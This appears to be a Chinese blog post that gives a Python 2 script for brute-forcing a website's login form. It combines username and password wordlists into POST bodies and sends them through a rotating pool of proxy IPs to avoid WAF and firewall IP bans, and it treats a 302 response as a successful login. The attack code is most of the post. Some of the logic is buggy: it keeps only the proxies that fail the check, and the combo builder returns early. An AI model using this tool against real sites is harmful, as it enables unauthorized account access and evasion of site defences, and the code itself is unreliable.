Python杂项

很多站点有防火墙、waf等安全设备,暴力破解可能封IP。为绕过防护,尝试用代理地址切换方式。写脚本时,起初打算每个代理IP跑5次后切换,但验证IP可用性效率低且可能地址不足,最终采用循环调用地址池地址,每次使用前校验的简单方式。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

因为现在很多站点有防火墙、waf等安全设备,在对站点进行暴力破解时,可能存在封ip情况,所以为了能不被封ip,尝试利用代理地址切换的方式绕过防护。在写脚本时遇到以下有纠结:

1、开始打算是每个代理ip跑5次后,自动切换到下一个ip,采用的是对中需要爆破的用户名、密码进行分组,但是写完后发现,为了增加破解的准确性,每次都要验证代理ip可用性,每个相同ip可能就要验证5次,不够高效,并且可能存在代理ip地址不够情况

列表分组方法如下:

for i in range(0, len(zidian), 5):
    b.append(zidian[i:i + 5])

2、最终放弃上述方案,采用最简单的方式,循环调用代理地址池中地址,每用一次前就校验一次,最终代码如下,写的有点渣渣

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 利用代理地址去破解账户密码
import random
import requests
import hackhttp
import time
hh=hackhttp.hackhttp()
# 暴力破解的url,直接从burp中粘贴出来就行,利用hackhttp模块
url='http://www.xxx.com/xxx/CommForm/Login.aspx'
raw_start='''POST /FrameWork/CommForm/Login.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Referer: http://www.xxx.com/xxxx/CommForm/Login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Content-Length: 411
Host: www.xxx.com
Pragma: no-cache
Cookie: ASP.NET_SessionId=ydmtn0vxtjs1unfsuv1pi3iv
Connection: close

__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKMjA0NDI2OTY1NQ9kFgICAw9kFgICAQ8PFgIeBFRleHQFATBkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAgUHaWJ0bl9PawULaWJ0bl9DYW5jZWyzzfNuUaZejEf%2F%2BIBBmJHkKiNCeA%3D%3D&__VIEWSTATEGENERATOR=856261F9&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBQLjgtzOAwK%2FpLiVBQLy9cL8AgLln444AqjjuKwD2eR2r33WW95RWjKzdUmBzeuJoLw%3D&ibtn_Ok.x=21&ibtn_Ok.y=2'''
# # 写入用户名、密码字、代理字典路径
yonghming=open('F:\python\huwang\yonghuming.txt','r').readlines()
mima=open('F:\python\huwang\mima.txt','r').readlines()
path=open('F:\python\huwang\dailiip.txt','r').readlines()
# 提取代理IP,并验证可用性
def daili_ip(ip):
    dailiip=list()
    for i in str(ip[0]).split(','):
     ip= eval(i.strip()).split(':')[0].strip('"')+','+ eval(i.strip()).split(':')[1]
     proxy="http://"+eval(i.strip())
     dict={}
     dict['http']=proxy
     try:
         aa=requests.get('http://www.baidu.com/',proxies=dict,timeout=3)
         # print aa.status_code
     except:
         print "connect failed"
         dailiip.append(ip)
    return dailiip
# 将用户名密码拼成符合的格式
def data(path_1,path_2):
    zidian=list()
    for i in path_1:
        for i1 in path_2:
            txt_UserID='txt_UserID='+str(i).strip()
            txt_PassWord='txt_PassWord='+str(i1).strip()
            zuhe=txt_UserID+'&'+txt_PassWord
            zidian.append(zuhe)
        return zidian
# 访问网页设置代理ip
def daili(ip,data):
    proxy_str=(ip.split(',')[0],ip.split(',')[1])
    # print (proxy_str)
    try:
        # 二次验证代理IP可用性
        code, head, body, redirect, log = hh.http(url='http://www.baidu.com', proxy=proxy_str)
        print '122'
        raw_data = raw_start + data
        #利用代理进行破解
        code, head, body, redirect, log = hh.http(url=url,raw_start=raw_data,proxy=proxy_str)
        print data,code,proxy_str
        if code == 302:
            print code, data
        else:
            print code
    except:
        print 'oh no !',data,proxy_str
if __name__ == '__main__':
      zidian=data(path_1=yonghming, path_2=mima)
      dailiip=daili_ip(ip=path)
      for i in zidian:
          daili(ip=random.choice(dailiip),data=i)














评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值